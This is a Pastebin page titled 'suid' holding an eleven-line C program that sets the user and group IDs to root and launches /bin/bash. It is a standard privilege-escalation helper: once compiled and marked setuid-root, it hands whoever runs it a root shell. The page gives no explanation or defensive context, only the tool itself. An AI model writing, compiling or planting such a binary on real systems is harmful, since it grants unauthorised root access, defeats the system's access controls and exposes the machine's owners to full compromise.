daily pastebin goal
53%
SHARE
TWEET

suid

a guest Feb 13th, 2018 62 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. int main(){
  6.     setuid(0);
  7.     setreuid(0,0);
  8.     setgid(0);
  9.     setregid(0,0);
  10.     system("/bin/bash");
  11. }
RAW Paste Data
Top